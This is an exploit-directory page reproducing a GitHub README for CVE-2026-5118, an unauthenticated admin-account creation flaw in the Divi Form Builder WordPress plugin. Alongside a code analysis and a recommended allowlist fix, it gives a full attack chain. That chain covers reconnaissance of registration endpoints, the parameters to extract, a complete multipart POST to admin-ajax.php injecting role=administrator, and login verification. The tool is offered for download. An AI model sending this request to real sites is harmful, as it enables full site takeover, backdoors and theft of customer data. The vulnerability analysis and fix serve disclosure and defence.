Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-5118
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection

View Repository
564 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation


🎯 Summary

The Divi Form Builder WordPress plugin version 5.1.2 and earlier contains a Critical vulnerability that allows an unauthenticated attacker to create an Administrator account directly through the registration form.

One hidden field. One changed value. Full access to the entire website.


🧨 What an Attacker Can Do?

CapabilityImpact
🔑 Create admin account without loginFull Site Takeover
📦 Access WooCommerce customer dataData Breach
💉 Edit plugin/theme files (PHP)Remote Code Execution
🕳️ Create hidden backdoorPersistent Access
👥 View all user dataPrivacy Violation

🔬 Vulnerability Analysis

Vulnerability Location

includes/shared/handlers/FormSubmissionHandler.php → create_user()

Vulnerable Code

// Line ~1691: Get role from user input (WITHOUT SECURITY VALIDATION)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Line ~1702: Only checks IF role EXISTS in the system, NOT if it's SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Line ~1745: Directly apply the injected role!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" applied directly

Why This Works?

                    FLAWED VALIDATION FLOW
  ┌──────────────────────────────────────────────────────┐
  │  Attacker sends: role=administrator                  │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (clean)     │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Only checks EXISTENCE
  │                    ↓                                  │
  │  $user->set_role("administrator") → FULL ADMIN!      │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" IS a valid role in WordPress,
  so the isset() validation ALWAYS returns true.
  This function NEVER rejects dangerous roles.

Attack Vector

DFB registration form contains a hidden input:

<!-- Original developer value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Attacker simply changes its value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Proof of Concept — Attack Chain

Phase 1: Reconnaissance — Find the Target

[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ registration paths
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: hidden DFB forms
    └── wp-json deep: content-first scan
    
[✓] Found: <input class="df_hidden_user_role" value="customer">
[✓] Plugin version: v4.1.9 (VULNERABLE)
[✓] Multi-step form with reCAPTCHA v3

Phase 2: Extract Form Parameters

Required parameters:
  ├── fb_nonce:        [from hidden input / de_fb_obj]
  ├── form_key:        [from hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJECTION: administrator]

Field mapping:
  ├── de_fb_user_login + user_login    (both variants mandatory)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

Phase 3: Role Injection — Privilege Escalation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_from_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

Phase 4: Verification — Administrator Access

[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 Lab Verification

Testing conducted in an isolated Docker environment (WordPress 6.5 + DFB v5.0.0):

╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 Recommended Fix

Solution: Allowlist Registration Roles

// BEFORE (vulnerable):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Only checks EXISTENCE, not SAFETY
}

// AFTER (secure):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Only allow roles safe for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Reject all dangerous roles
}

Additional Steps

  1. Remove the role parameter from the frontend form — Use the existing default_user_role
  2. Add strict nonce verification on the AJAX handler
  3. Add capability check current_user_can('create_users') for special roles
  4. Rate limiting on the registration endpoint to prevent brute-force

📊 Timeline

Download Tool